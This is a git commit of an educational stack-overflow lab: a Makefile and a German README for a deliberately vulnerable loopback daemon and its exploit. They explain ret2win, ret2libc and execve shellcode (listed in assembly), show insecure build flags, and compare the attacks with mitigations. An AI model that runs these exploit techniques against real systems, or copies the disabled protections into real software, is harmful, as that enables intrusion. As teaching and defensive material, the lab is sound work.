commit 394e3be54d22b0a9f487ec3a9e11bb755ebf2d24 Author: hanez Date: Tue Sep 29 09:39:24 2026 +0200 Initial commit diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..1f93116 --- /dev/null +++ b/.gitignore @@ -0,0 +1,17 @@ +# Build products +food +fooc +food_hardened +shellcode.bin +.sc_c_raw.txt +.sc_c.txt +.sc_asm.txt + +# Test harness binaries +tests/pty_test +tests/sock_test + +# Runtime evidence -- your own logs, yours to keep or delete +food.log +food_hardened.log +*.log diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..8c7bd3c --- /dev/null +++ b/Makefile @@ -0,0 +1,305 @@ +# ============================================================================ +# Makefile -- builds the lab: the vulnerable daemon and its exploit +# ============================================================================ +# +# make build food, fooc and the test harnesses +# make run start food in the background, on loopback +# make test run the full technique matrix (needs `make run` first) +# make verify prove the shellcode in fooc.c matches shellcode.S +# make hardened rebuild food with every mitigation ENABLED +# make test-hardened run the matrix against the hardened build +# make stop stop the daemon +# make clean remove build products +# +# --------------------------------------------------------------------------- +# WHY THESE FLAGS -- the single most important thing in this file +# --------------------------------------------------------------------------- +# +# `food` is built with three protections switched OFF, deliberately: +# +# -fno-stack-protector no stack canary +# -no-pie fixed load address, so win() is a constant +# -z execstack executable stack, so shellcode can run +# +# Each one corresponds to a real defence that a real program gets for free, and +# `make test-hardened` turns them all back on so you can watch the techniques +# fail. That contrast is the entire lesson. Do not copy these flags into +# anything you actually ship. +# +# The exploit (`fooc`) is built with the protections ON. There is no reason for +# an attacker to disable them, and leaving them on is a useful reminder that +# the tool works fine in a hardened process. +# +# --------------------------------------------------------------------------- +# WHY -O0 -g +# --------------------------------------------------------------------------- +# +# -O0 the compiler does not reorder, inline, or elide the code. At -O2 the +# stack layout the exploit reasons about can change between builds, and +# variables you were told exist may be gone. For a lab you have to be +# able to read the disassembly and find the thing the comment promised. +# -g symbols and line numbers, so gdb is actually usable. `make debug` +# goes further and stops at the vulnerable read(). +# ============================================================================ + +CC ?= gcc +CSTD := -std=c99 + +# Warnings we always want, even on the vulnerable build. Note that we do NOT +# use -Werror: food.c's deliberate overflow triggers -Wstringop-overflow, and +# that warning is *supposed* to fire (see the comment at the read() call). +WARN := -Wall -Wextra + +# Debug info and no optimisation: see above. +DBG := -O0 -g + +# --- the vulnerable build ----------------------------------------------------- +# These are the flags we are trying to defeat. See the header comment. +VULN := -fno-stack-protector -no-pie -z execstack + +# --- the hardened build ------------------------------------------------------- +# What a modern project actually does. Note that -fstack-protector-strong is +# gcc's DEFAULT on many distros, and -fPIE is too, so the hardened build is +# really just "stop overriding the defaults". `make test-hardened` shows the +# exploits failing, which is the point. +HARDEN := -fstack-protector-strong -fPIE -pie -z noexecstack + +# Shellcode needs a terminal, and the test harness is the only thing that +# provides one. It is a normal POSIX program, not part of the exploit. +TESTCFLAGS := $(CSTD) $(DBG) $(WARN) + +all: food fooc tests/pty_test tests/sock_test + +# ----------------------------------------------------------------------------- +# The vulnerable daemon. +# ----------------------------------------------------------------------------- +food: food.c + $(CC) $(CSTD) $(DBG) $(WARN) $(VULN) -o $@ $< + +# ----------------------------------------------------------------------------- +# The exploit. -ldl is needed for dlsym(), which is how it locates libc's +# system() and "/bin/sh" at runtime instead of hardcoding offsets that would +# break the next time glibc is updated. +# +# It gets the mitigations ON, unlike the target. +# ----------------------------------------------------------------------------- +fooc: fooc.c + $(CC) $(CSTD) $(DBG) $(WARN) -fstack-protector-strong -o $@ $< -ldl + +# ----------------------------------------------------------------------------- +# Test harnesses. These exist because the exploit's last act is to hand its +# process over to a shell; verifying that needs a real terminal, which a pipe +# or a here-doc is not. +# ----------------------------------------------------------------------------- +tests/pty_test: tests/pty_test.c + $(CC) $(TESTCFLAGS) -o $@ $< + +tests/sock_test: tests/sock_test.c + $(CC) $(TESTCFLAGS) -o $@ $< + +# ----------------------------------------------------------------------------- +# The hardened daemon: same source, protections on. Build it, then run +# `make test-hardened` to see which techniques it survives. +# ----------------------------------------------------------------------------- +hardened: food.c + $(CC) $(CSTD) $(DBG) $(WARN) $(HARDEN) -o food_hardened $< + @echo + @echo "=== food_hardened built with the mitigations ON." + @echo "=== Stack segment permissions ('RWE' would mean executable; you" + @echo "=== want 'RW', i.e. no-execute):" + @readelf -W -l food_hardened | grep GNU_STACK + @echo "=== Now run: make test-hardened" + +# ----------------------------------------------------------------------------- +# verify-shellcode: prove the bytes in fooc.c are what nasm produces from +# shellcode.S. This is the check that keeps the inline byte array honest -- +# a hand-maintained hex dump and a disassembler are both easy to get wrong, and +# a single wrong byte means a payload that crashes instead of running. +# ----------------------------------------------------------------------------- +verify verify-shellcode: shellcode.S fooc.c + @command -v nasm >/dev/null 2>&1 || { \ + echo "verify-shellcode: nasm is not installed; skipping."; \ + echo " (Arch: pacman -S nasm)"; exit 0; } + @echo "=== Assembling shellcode.S ..." + @nasm -f bin -o shellcode.bin shellcode.S + @echo "=== nasm output:" + @od -An -tx1 -v shellcode.bin | tr -s ' \n' ' ' | sed -e 's/^ //' \ + -e 's/[[:space:]]*$$//' + @echo + @# Pull the byte list out of the C array. `sed s,/*.**/,` first strips the + @# trailing /* ... */ annotations, so a hex constant mentioned inside a + @# comment (there is one: "push 0x3b (execve)") is not counted as data. + @# Stripping comments before grepping is the whole trick here. + @sed -n '/^static const unsigned char SHELLCODE\[\] = {/,/^};/p' fooc.c \ + | sed -e 's,/\*.*\*,,' \ + | grep -o '0x[0-9a-fA-F][0-9a-fA-F]' \ + | tr 'A-F' 'a-f' | tr '\n' ' ' | sed -e 's/^ //' -e 's/[[:space:]]*$$//' \ + > .sc_c_raw.txt + @echo "=== bytes declared in fooc.c's SHELLCODE[] array:" + @cat .sc_c_raw.txt + @echo + @echo "=== comparing ..." + @# Both sides reduced to the same plain "31 f6 31 d2 ..." form, so the + @# comparison is on VALUES and not on how each tool happens to print them. + @sed -e 's/0x//g' .sc_c_raw.txt > .sc_c.txt + @od -An -tx1 -v shellcode.bin | tr -s ' \n' ' ' | sed -e 's/^ //' \ + -e 's/[[:space:]]*$$//' > .sc_asm.txt + @if cmp -s .sc_c.txt .sc_asm.txt; then \ + n=$$(wc -c < shellcode.bin); \ + echo "MATCH: the $$n bytes in fooc.c are byte-for-byte what"; \ + echo " shellcode.S assembles to."; \ + rm -f .sc_c_raw.txt .sc_c.txt .sc_asm.txt; \ + else \ + echo "MISMATCH -- the two differ:"; \ + diff .sc_c.txt .sc_asm.txt || true; \ + rm -f .sc_c_raw.txt .sc_c.txt .sc_asm.txt; exit 1; \ + fi + +# ----------------------------------------------------------------------------- +# run: start the daemon in the background. +# +# setsid + nohup + food.log 2>&1 /dev/null || true + @sleep 1 + @if pgrep -x food >/dev/null; then \ + echo "=== food is running (pid $$(pgrep -x food | head -1))"; \ + echo "=== stack segment -- 'rwxp' means executable (needed for shellcode):"; \ + grep '\[stack\]' /proc/$$(pgrep -x food | head -1)/maps; \ + else \ + echo "=== food failed to start; see food.log"; exit 1; \ + fi + +# ----------------------------------------------------------------------------- +# test: the technique matrix. Every technique must print both SEEN. +# +# Note this runs against whatever ./food currently is. If you last ran +# `make hardened`, you are testing the hardened build -- which is what +# test-hardened is for. +# ----------------------------------------------------------------------------- +# +# Note on the redirection below. The verdict is the "[pty_test] ..." line the +# harness prints to STDERR, and its EXIT STATUS, so stderr is sent to the +# terminal and the shell's chatter (stdout) is discarded. Piping the two +# together and tailing is what hid a real failure during development: the pty's +# echo of our own command line contains the marker string, so a loose grep on +# the transcript was always going to pass. +test: tests/pty_test + @fail=0; \ + for t in ret2win ret2libc shellcode; do \ + echo "=================== $$t"; \ + if ./tests/pty_test -t $$t 2>&1 >/dev/null; then \ + :; \ + else \ + fail=1; \ + fi; \ + done; \ + echo; \ + if [ $$fail -eq 0 ]; then \ + echo "=== all three techniques gave a working shell"; \ + else \ + echo "=== at least one technique did NOT work."; \ + echo "=== If food was built with `make hardened`, that is the"; \ + echo "=== mitigations doing their job. See README.md."; \ + fi; \ + exit $$fail + +# ----------------------------------------------------------------------------- +# test-hardened: swap in the hardened daemon, prove the mitigations hold, then +# put the vulnerable one back. Leaves your tree exactly as it found it. +# ----------------------------------------------------------------------------- +# +# Two things this target has to get right, both of which bit during development: +# +# * `pgrep -x` matches the process NAME, and the hardened binary is +# food_hardened, not food. Using the wrong name silently inspects nothing. +# * The verdict is pty_test's EXIT STATUS (0 = both markers seen), not the +# presence of its output line. Grepping for a line that is also printed on +# failure reports success for a run that crashed. +test-hardened: hardened tests/pty_test + @if ! pgrep -x food >/dev/null; then \ + echo "=== start the daemon first: make run"; exit 1; \ + fi + @echo "### stopping the vulnerable daemon" + @$(MAKE) --no-print-directory stop + @echo "### starting food_hardened instead" + @setsid nohup ./food_hardened -p $(PORT) > food_hardened.log 2>&1 \ + /dev/null || true + @sleep 1 + @if ! pgrep -x food_hardened >/dev/null; then \ + echo "!!! food_hardened did not start; see food_hardened.log"; \ + $(MAKE) --no-print-directory stop; exit 1; \ + fi + @echo "### stack segment: 'rw-p' (NOT executable) is what you want to see" + @grep '\[stack\]' /proc/$$(pgrep -x food_hardened | head -1)/maps || true + @echo + @for t in ret2win ret2libc shellcode; do \ + echo "=================== $$t"; \ + if ./tests/pty_test -t $$t 2>&1 >/dev/null; then \ + echo "!!! $$t STILL WORKED against the hardened build"; \ + else \ + echo "--- $$t was stopped by the mitigations (as expected)"; \ + fi; \ + done; \ + echo + @$(MAKE) --no-print-directory stop + @echo "### restoring the vulnerable daemon" + @setsid nohup ./food -p $(PORT) > food.log 2>&1 /dev/null || true + @sleep 1 + @echo + @echo "=== mitigation comparison is above." + @echo "=== Read the table in README.md to see which flag stopped what," + @echo "=== and note which mitigations are NOT enough on their own." + +# ----------------------------------------------------------------------------- +# debug: build food and run it under gdb, stopping at the vulnerable read() so +# you can watch the stack frame get overwritten. +# ----------------------------------------------------------------------------- +debug: food.c + $(CC) $(CSTD) $(DBG) $(WARN) $(VULN) -o food $< + @echo "=== built ./food for gdb. Try:" + @echo " gdb -q ./food" + @echo " (gdb) break food.c:393 # the read() that overflows" + @echo " (gdb) run -p 2342" + @echo " (gdb) info registers rsp rbp" + @echo " (gdb) x/24gx \$rsp # watch the return address" + +# ----------------------------------------------------------------------------- +# stop: kill the daemon. +# +# `pkill -x food` matches the process NAME exactly. Do NOT use +# `pkill -f ./food` -- that pattern also matches the shell you typed it into, +# so it kills your own session. This is not a theoretical risk; it happened +# while building this lab. +# ----------------------------------------------------------------------------- +stop: + @if pgrep -x food >/dev/null; then \ + pkill -x food; sleep 0.5; \ + echo "=== food stopped"; \ + else \ + echo "=== food was not running"; \ + fi + @# The hardened binary has a different process name, so it needs its own + @# pkill. A leftover food_hardened keeps port 2342 bound and makes the + @# next `make run` fail with "Address already in use". + @if pgrep -x food_hardened >/dev/null; then \ + pkill -x food_hardened; sleep 0.5; \ + echo "=== food_hardened stopped"; \ + fi + +clean: + rm -f food fooc food.hardened shellcode.bin + rm -f .sc_c_raw.txt .sc_c.txt .sc_asm.txt + rm -f tests/pty_test tests/sock_test + @echo "=== cleaned. (food.log is left alone; it is your evidence.)" + +.PHONY: all run stop test test-hardened verify verify-shellcode hardened debug clean diff --git a/README.DE.md b/README.DE.md new file mode 100644 index 0000000..1084621 --- /dev/null +++ b/README.DE.md @@ -0,0 +1,436 @@ +# food / fooc — ein Stack-Pufferüberlauf, von beiden Seiten + +Ein C99-Sicherheitslabor in zwei Hälften: + +- **`food.c`** — ein absichtlich angreifbarer TCP-Daemon. Er enthält einen + echten, lehrbuchreifen Stack-Pufferüberlauf (CWE-120) und nebenbei noch ein + paar weitere Bugs. +- **`fooc.c`** — ein Exploit dafür. Er berechnet das Overflow-Offset, indem er + das Zielprogramm zur Laufzeit disassembliert, liest Adress-Leaks vom Daemon + und erhält eine Shell auf dem „Opfer", indem er eine gespeicherte + Rücksprungadresse überschreibt. + +Es geht nicht um die Shell. Es geht darum, dass man Ende-zu-Ende mitverfolgen +kann, wie aus einem Speichersicherheitsfehler eine beliebige Codeausführung +wird — und dann genau sieht, welche Gegenmaßnahmen welchen Schritt dieser +Kette stoppen. Jede Zeile beider Programme ist kommentiert, denn der Mechanismus +ist die Lektion. + +``` + dein Terminal + | + ./fooc (Exploit) + | + TCP 127.0.0.1:2342 + | + ./food (angreifbarer Daemon) + | + fork() -> vulnerable_handler() -> Overflow -> ret -> dein Code +``` + +--- + +## ⚠️ Bitte zuerst lesen + +**`food` ist ein absichtlich kaputter Netzwerkdienst. Er bindet ausschließlich +an `127.0.0.1`, und dieser Standard ist Absicht — bitte lass ihn so.** + +- Führe ihn **nicht** auf einer Maschine aus, die dir wichtig ist, oder auf + irgendetwas mit Daten darauf. +- Binde ihn **nicht** an `0.0.0.0` oder eine echte Netzwerkschnittstelle. Er + ist bewusst remote ausnutzbar. +- Ein `fooc` gegen einen Host zu richten, der dir nicht gehört bzw. für den du + keine schriftliche Testgenehmigung hast, ist in den meisten Rechtsordnungen + ein Computersabotage-Straftatbestand — auch nach dem UK Computer Misuse Act + und dem US Computer Fraud and Abuse Act. +- Er bindet einen unprivilegierten Port (>1024), du brauchst also kein root. + „Verbessere" ihn nicht, indem du Capabilities hinzufügst oder ihn als + Systemdienst laufen lässt. +- Jede Verbindung wird in einem per `fork()` erzeugten Kindprozess behandelt, + und `food` reaped ihn, sodass sich keine Abstürze ansammeln. Falls du danach + dutzende streunende `sh`-Prozesse vorfindest, ist `pkill -x sh` die + Aufräumlösung. + +Im Zweifel: Dieses Labor ist für eine virtuelle Maschine oder einen Container +gedacht, in einem Netzwerk, das du kontrollierst, auf einer Maschine, auf der +dir nichts fehlen würde. + +--- + +## Schnellstart + +```sh +make # baut food, fooc und die Test-Harnesses +make run # startet food auf 127.0.0.1:2342, abgelöst im Hintergrund +make test # führt alle drei Exploit-Techniken aus +make stop # stoppt den Daemon +``` + +Danach von Hand: + +```sh +./fooc -t leak # sieh dir die Adress-Leaks an, die food ausgibt +./fooc -t demo -v # sende Datenmüll; beobachte, wie food mit SIGSEGV stirbt +./fooc -t ret2win -i # springe zu einer Funktion, die bereits existiert -> Shell +``` + +### Voraussetzungen + +| Werkzeug | Wofür | Hinweise | +|---|---|---| +| `gcc` (oder clang) | Bauen | C99. Getestet mit gcc 16.2 | +| `objdump` | `fooc` | binutils. `fooc` ruft es zur Laufzeit auf | +| `nasm` | `make verify` | nur zum Gegenprüfen des Shellcodes; wird übersprungen, wenn nicht vorhanden | +| `gdb` | `make debug` | optional | +| Linux, x86-64 | beides | Payload und Gadget-Suche sind architekturspezifisch | + +`fooc` benötigt außerdem `-ldl` für `dlsym()`; das erledigt das Makefile. + +--- + +## Der Bug + +Eine Zeile in `food.c` ist die gesamte Angriffsfläche: + +```c +char buf[FOOD_BUFSZ]; /* 64 Bytes */ +n = read(fd, buf, FOOD_READMAX); /* bis zu 512 Bytes aus dem Netzwerk */ +``` + +64 Bytes Ziel, 512 Bytes akzeptiert. Der Angreifer überschreibt 448 Bytes über +das Ende des Puffers hinaus, und weil der Stack nach unten wächst, bedeutet +„über das Ende hinaus" „in den darüberliegenden Frame hinein" — und genau dort +liegen der gespeicherte Frame-Pointer und die **gespeicherte +Rücksprungadresse**. + +In einer kompilierten x86-64-Funktion bei `-O0`: + +``` + hohe Adressen + +------------------------+ rbp + 16 : Locals des Aufrufers + | ... | + +------------------------+ rbp + 8 : GESPEICHERTE RÜCKSPRUNGSADRESSE <-- wird zu RIP + | saved rbp (8 Bytes) | + +------------------------+ rbp : unser Frame-Pointer + | line[128] | + | buf[64] | <- rsp: das, was read() füllt + +------------------------+ + niedrige Adressen +``` + +Wenn die Funktion zurückkehrt, poppt `leave; ret` diese 8 Bytes in `RIP`, und +die CPU springt dorthin, wo der Angreifer es bestimmt hat. Alles andere in +diesem Labor ist Arithmetik darüber, wohin gedeutet werden soll. + +Für diesen Build sind die Zahlen: `buf` ist 64 Bytes, das gespeicherte `rbp` +ist 8, die Rücksprungadresse liegt also bei Offset **88** vom Anfang von `buf`. +`fooc` härtet das nicht ein — es disassembliert `food` und findet das +`lea -0x50(%rbp)` vor dem `call read@plt`, sodass es weiter funktioniert, wenn +du `FOOD_BUFSZ` änderst. + +> gcc weist bereits darauf hin. Das Bauen von `food` druckt: +> `warning: 'read' writing 512 bytes into a region of size 64 overflows the +> destination [-Wstringop-overflow=]`. Unterdrücke diese Warnung in echtem Code +> nie. Sie ist geschenkte Sicherheit. + +--- + +## Die drei Techniken + +`fooc -t `. Sie stehen in der Reihenfolge, in der ein echter +Angreifer sie durcharbeiten würde, denn jede braucht, was die vorherige dich +gelehrt hat. + +### 1. `ret2win` — den Befehlszeiger kontrollieren + +``` +[ 88 Bytes Müll ][ Adresse von food's win() ] + ^ saved rbp + ^ wird zu RIP +``` + +`win()` ist eine Funktion im Zielprogramm, die `/bin/sh` ausführt. Das +Überschreiben der Rücksprungadresse mit ihrer Adresse ist der gesamte Exploit. + +**Was es lehrt:** Du hast beliebige Kontrolle über den Befehlszeiger. Es +braucht außerdem kein Leak, weil das Binärprogramm `-no-pie` gebaut ist, sodass +`win()` für immer an einer festen Adresse sitzt. + +**Das reale Äquivalent** ist nicht „Angriffe sind einfach", sondern „verschiffe +keine undokumentierten Hintertüren in Netzwerk-Binärprogrammen". Wenn eine +Funktion wie `win()` in deinem Binärprogramm existiert, wird ein +Pufferüberlauf sie finden. Das ist wörtlich die Hintertür-Klasse von Juniper +ScreenOS (CVE). + +**Verteidigung:** `-fPIE` (oder ASLR) randomisiert die Ladeadresse, sodass der +Angreifer die Adresse kennen muss — was meistens bedeutet, dass er zuerst ein +Leak braucht. Deshalb schlägt `ret2win` gegen `food_hardened` fehl. + +### 2. `ret2libc` — Beliebiges aufrufen, beim Namen + +``` +[ Müll ][ pop rdi; ret ][ Adresse von "/bin/sh" ][ Adresse von system() ] + ^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^ + setzt rdi der zu übergebende String die aufzurufende Funktion +``` + +Zur Ausführungszeit: `ret` poppt `pop rdi; ret` in `RIP`; das poppt den +`"/bin/sh"`-Pointer in `RDI`; dessen `ret` poppt `system()` in `RIP`, wobei +`RDI` weiterhin den String hält. `system("/bin/sh")` läuft. + +Die Gadgets (`pop rdi; ret`) stecken nicht in `food` — diese glibc hat kein +`__libc_csu_init` — daher findet sie `fooc`, indem es den Live-libc-Speicher +nach dem Bytepaar `5f c3` durchsucht. Es lokalisiert libc über +`/proc/self/maps`, findet die Offsets von `system` und `"/bin/sh"` mit +`dlsym()` und berechnet die Basis aus dem Leak, das `food` veröffentlicht. +Nichts ist fest verdrahtet, sodass der Exploit ein libc-Update überlebt. + +**Was es lehrt:** Wenn du einmal `RIP` kontrollierst, kannst du *vorhandene* +Befehle aneinanderreihen. Das ist Return-Oriented Programming, und es ist, wie +fast alle echten Exploits aussehen, weil es keinen vom Angreifer gelieferten +ausführbaren Speicher braucht. + +**Verteidigung:** Keine der Compiler-Flags stoppt das allein. Es funktioniert +gegen ein PIE-Binärprogramm, mit NX, mit Canary — solange der Angreifer ein +Leak hat. Die Verteidigungen sind „habe den Overflow nicht" und „leake keine +Adressen". Siehe Tabelle unten. + +### 3. `shellcode` — eigenen Maschinencode ausführen + +23 Bytes, platziert am Anfang des Puffers, mit `RIP`, das auf sie zeigt: + +```asm +xor esi, esi ; envp = NULL +xor edx, edx ; argv = NULL +movabs rdi, 0x68732f6e69622f ; rdi = "/bin/sh\0" als 8 rohe Bytes +push rdi ; lege den String auf den Stack +mov rdi, rsp ; rdi = &"/bin/sh" +push 0x3b ; 59 = __NR_execve +pop rax +syscall ; wir sind jetzt eine Shell +``` + +Das ist die reinste Form des Bugs: Der Angreifer liefert die *Befehle*, nicht +nur die Adresse von Befehlen, die bereits existieren. Keine libc-Offsets nötig, +also funktioniert es im Prinzip gegen ein statisch gelinktes, vollständig +randomisiertes Ziel. + +`make verify` assembliert `shellcode.S` und vergleicht es mit dem Byte-Array, +das in `fooc.c` eingebettet ist, sodass die beiden nicht auseinanderlaufen +können. + +**Verteidigung:** **NX** (auch W^X, „no execute"). Wenn der Stack als +nicht-ausführbar markiert ist, weigert sich die Hardware, Befehle von ihm zu +holen, und das `ret` landet auf einer Seite, die nicht ausführbar ist. Deshalb +übergibt `make food` die Flag `-z execstack`: Ein Standard-Linux-Stack ist +`rw-p`, nicht `rwx`, und die Technik stirbt mit SIGSEGV bei `RIP = die Adresse +des Payloads`. Die mit Abstand wichtigste Lektion des Labors ist, dass jedes +dieser Bytes nur funktioniert, weil dem Compiler gesagt wurde, den Stack +ausführbar zu lassen. Diese Flag ist für niemandes Wohl eingeschaltet. + +### Außerdem enthalten + +| Modus | Was es tut | +|---|---| +| `-t leak` | verbindet, druckt die Leaks, sendet nichts | +| `-t demo` | sendet `rip_off + 8` Bytes `0x41`, sodass `RIP` zu `0x4141...` wird und der Daemon stirbt. Beweist den Bug ganz ohne Adresswissen | +| `-t sled` | ein Ret-Sled, bewusst als **fehlschlagendes** Beispiel behalten. Ohne ein Leak würdest du ASLR brute-forcen, indem du den Puffer mit der Adresse eines `ret` füllst. Hier kann es nicht funktionieren: `food` akzeptiert 512 Bytes, der Sled hat also ~53 Slots gegen ~28 Bit Entropie. Implementiert, damit du zusehen kannst, wie es scheitert, und bestätigst, dass der Mechanismus wirklich „die CPU folgt einer Kette von rets" ist | + +--- + +## Die Tabelle der Gegenmaßnahmen + +Das ist der Teil, den man sich merken sollte. Jede Zeile ist eine echte +Verteidigung, und die rechte Spalte zeigt, was sie tatsächlich mit der +Ereigniskette macht. + +| Gegenmaßnahme | So aktivierst du sie | Was sie stoppt | Was sie *nicht* stoppt | +|---|---|---|---| +| **Read begrenzen** | `n = read(fd, buf, sizeof buf - 1);` | **Alles.** Der Bug existiert nicht, also ist nichts nachgelagert relevant | Nichts — das ist der einzige vollständige Fix | +| **Stack-Canary** | `-fstack-protector-strong` (gcc-Standard) | Das `ret`: Der Canary wird beim Funktionsende geprüft, der Einschlag wird also erkannt und der Prozess bricht ab, bevor `RIP` gepoppt wird | Ein Bug in einer Funktion *ohne* Array (nichts zu schützen); ein Overflow, der unter dem Canary bleibt; alles, was nicht normal zurückkehrt | +| **NX / W^X** | `-z noexecstack` (der Standard) | Shellcode. Die eigenen Befehle des Payloads können nicht geholt werden | ret2win und ret2libc vollständig. Sie sind der *Grund*, warum ROP existiert | +| **PIE + ASLR** | `-fPIE` + ASLR=2 (beides Standard) | ret2wins fest verdrahtete Adressen. Alles bewegt sich bei jedem Lauf | Alles, wo der Angreifer ein Leak hat. ASLR erhöht die Kosten eines Exploits; es ist kein Fix. Beachte, dass Stack, Heap und mmap randomisiert sind, der *Inhalt* des Haupt-Binärprogramms jedoch nicht — das ist es, was ROP-Ketten verwenden | +| **Nicht leaken** | kein `printf("%p")` an Clients; vor dem Drucken initialisieren | Der Informations-Leak, der ASLR von „teuer" zu „gratis" macht | — | +| **Kein `printf(user_data)`** | `printf("%s", buf)` statt `printf(buf)` | Format-String-Bugs: `%x`-Stack-Reads, `%n`-beliebige Schreibzugriffe — ein *zweiter* Weg zu RCE | — | +| **Keine unvertrauenswürdigen Pfade** | validieren und `openat()` unter einem festen Verzeichnis | Pfad-Traversal (CWE-22) | — | +| **CET / Shadow Stack** | `-fcf-protection=full`, Kernel- und CPU-Unterstützung | Das `ret` selbst: Der Shadow Stack merkt sich die *echte* Rücksprungadresse und fault bei einem Mismatch. Fängt ROP-Ketten ab, die Hardware-`ret` verwenden | Angriffe, die nie `ret` ausführen (call-oriented, oder das Ziel eines Funktionspointers mit einer Gadget-Kette überschreiben, die keine Rückkehr braucht) | +| **Sichere Sprachen** | Rust, Go, C# für neuen Code | Die ganze Klasse. Bounds-Checks werden zur Laufzeit geprüft, nicht beim Review erhofft | — | + +### Selbst ausprobieren + +```sh +make run # angreifbarer Daemon +make test # alle drei Techniken funktionieren + +make test-hardened # gleicher Quellcode, Gegenmaßnahmen an +``` + +`test-hardened` baut `food_hardened` mit `-fstack-protector-strong -fPIE -pie +-z noexecstack`, tauscht es ein, führt alle drei erneut aus und legt danach +das angreifbare wieder zurück. Du wirst sehen: + +``` +### stack segment: 'rw-p' (NOT executable) is what you want to see +--- ret2win was stopped by the mitigations (as expected) +--- ret2libc was stopped by the mitigations (as expected) +--- shellcode was stopped by the mitigations (as expected) +``` + +Und im Log des gehärteten Daemons das Auslösen des Canarys: + +``` +*** stack smashing detected ***: terminated +``` + +Lies das genau, denn es ist die wichtigste Zeile des ganzen Labors: **der +Canary hat ret2win erwischt, nicht PIE.** Alle drei Techniken sterben am +Canary, weil alle drei durch dasselbe `read()` gehen und denselben Frame +zerstören. NX stoppt nur zusätzlich den *Code* des Shellcodes; PIE bricht nur +zusätzlich die hart verdrahtete Adresse. Schalte sie einzeln an, und du wirst +feststellen, dass dich die meisten einzelnen Gegenmaßnahmen irgendetwas +ausgesetzt lassen. + +--- + +## Dateien + +| Datei | Zweck | +|---|---| +| `food.c` | der angreifbare Daemon. 6 nummerierte Bugs, jeder mit seinem Fix im Kommentar | +| `fooc.c` | der Exploit. objdump-basierte Offset-Erkennung, `/proc`-basierte libc-Erkennung, 4 Payload-Builder | +| `shellcode.S` | die 23 Shellcode-Bytes als Assembly, damit man sie lesen und verifizieren kann. `fooc` trägt sie inline und braucht das zur Laufzeit nicht | +| `Makefile` | baut, testet und liefert den gehärteten Vergleich | +| `tests/pty_test.c` | treibt `fooc` über ein Pseudo-Terminal und prüft auf echte Shell-Ausgabe | +| `tests/sock_test.c` | unabhängiger Verifizierer über einen rohen Socket, damit das Ergebnis nicht von `fooc` abhängt | +| `food.log` | das Log des Daemons. Dein Beweis, was passiert ist | + +--- + +## Zwei Bugs in diesem Labor, die es wert sind, verstanden zu werden + +Das sind nicht die Bugs des Zielprogramms. Es sind Bugs im Exploit und in +seiner Test-Harness, und beide haben überzeugende Lügen produziert. Sie sind im +Quellcode an ihrem Ort dokumentiert; hier stehen sie, weil die Ausfallmuster +lehrreich sind. + +### Stack-Ausrichtung: der Absturz, der kein NULL-Deref ist + +**Symptom.** Die Übernahme landet korrekt — `gdb` zeigt dich in `win()` — und +dann stirbt das allererste, was `win()` tut, ein `dprintf()`. Der +`SIGSEGV`-Handler meldet `RIP` tief im glibc-Formatter und eine Fehleradresse +von `(nil)`, was exakt wie ein korrupter Pointer aussieht. + +**Ursache.** Die System-V-AMD64-ABI verlangt 16-Byte-Stack-Ausrichtung. Ein +normales `ret` stellt `%rsp` exakt auf das wieder her, was das zugehörige +`call` gespeichert hat, sodass die Invariante gratis erhalten bleibt. Unser +nacktes `ret` tut das nicht: Danach gilt `%rsp = buf + rip_off`. Hier ist `buf` +16-Byte-ausgerichtet und `rip_off` ist 88, der Callee bekommt also einen Stack, +der 8 mod 16 ist. glibc ist mit SSE2 kompiliert, und `movaps` **fault** bei +einem nicht ausgerichteten Operanden. Auf x86 löst das `#GP` aus, nicht `#PF`, +der Kernel hat also keine Fehleradresse und meldet `si_addr = 0`. Dieses NULL +ist der Hinweis: ein Ausrichtungsfehler, verkleidet als NULL-Deref. + +**Fix.** Ein `ret`-Gadget *bei Offset `rip_off`*, das das echte Ziel um 8 Bytes +nach oben verschiebt, denn jedes `ret` addiert exakt 8 auf `%rsp`. Die +Reihenfolge ist entscheidend: Eine frühere Version hängte das `ret` *hinter* +das Ziel an und erzeugte `[ padding | target | ret ]`, wo das abschließende +`ret` nie erreicht wird und der Fix still nichts tut. Ein versprengtes `ret`, +das wie ein Fehler aussieht, ist fast immer Absicht. + +### Ein Socket, zwei Leser: das verschwundene Byte + +**Symptom.** Shellcode wurde als funktionierend gemeldet. Dann wurde die +pty-Harness strenger gemacht (Abschalten von `ECHO`, sodass das Terminal seine +eigene Befehlszeile nicht mehr zurückspiegelte) und die Technik begann zu +scheitern. Im Kern ließ jede Technik exakt ein Byte vom Anfang jedes +Ausgabeblocks fallen: `uid=1000(hanez)` wurde zu `id=1000(hanez)` gedruckt, +`PWNED-OK` zu `WNED-OK`, `Linux 7.2.7` zu `inux 7.2.7`. + +**Ursache.** `fooc` pflegte den Socket per `dup2()` auf sein eigenes +stdin/stdout zu legen und eine *lokale* `/bin/sh` per `execv()` zu starten, +während ein geforktes Relay-Kind denselben Socket ebenfalls las, um die Ausgabe +zum Terminal zu befördern. Dem Kernel ist egal, dass die beiden kooperieren. Ein +Stream-Socket hat **einen** Read-Cursor, und jeder Leser bewegt ihn, sodass +Bytes unvorhersehbar zwischen ihnen aufgeteilt werden. Die lokale Shell las als +interaktive Login-Shell exakt ein Byte und verwarf es — bei jedem einzelnen +Mal. `strace -f` zeigte es sofort: + +``` +read(0, "u", 1) <- die lokale Shell, frisst ein Byte +read(4, "id=1000(hanez) gid=1000(hanez) g".., 310) <- das Relay, 1 Byte zu wenig +``` + +**Fix.** Auf dieser Seite gibt es überhaupt keine Shell. Es gibt genau eine +Shell im gesamten Bild, und sie ist auf dem Opfer, im übernommenen Prozess, mit +der TCP-Verbindung als stdin/stdout. Diese Seite bewegt nur Bytes. Wenn du je +zwei Konsumenten eines Streams brauchst, braucht dieser Stream einen einzigen +Leser, der ihn bewusst demultiplexiert. + +**Die Meta-Lektion.** Das erste „funktionierende" Ergebnis war ein +Fehlpositiv, das dadurch entstand, dass die pty die eigene Befehlszeile der +Harness zurückwarf, und der Fix für dieses Fehlpositiv ist es, der den echten +Bug bloßlegte. Tests, die nicht scheitern können, sind schlimmer als keine +Tests, weil sie „ich weiß es nicht" in „es funktioniert" verwandeln. Eine +Test-Harness verdient denselben Argwohn wie der Code, den sie testet. + +--- + +## Daran herumexperimentieren + +Dinge, die einen Versuch wert sind, ungefähr in der Reihenfolge, in der man +mehr lernt: + +1. **Ändere 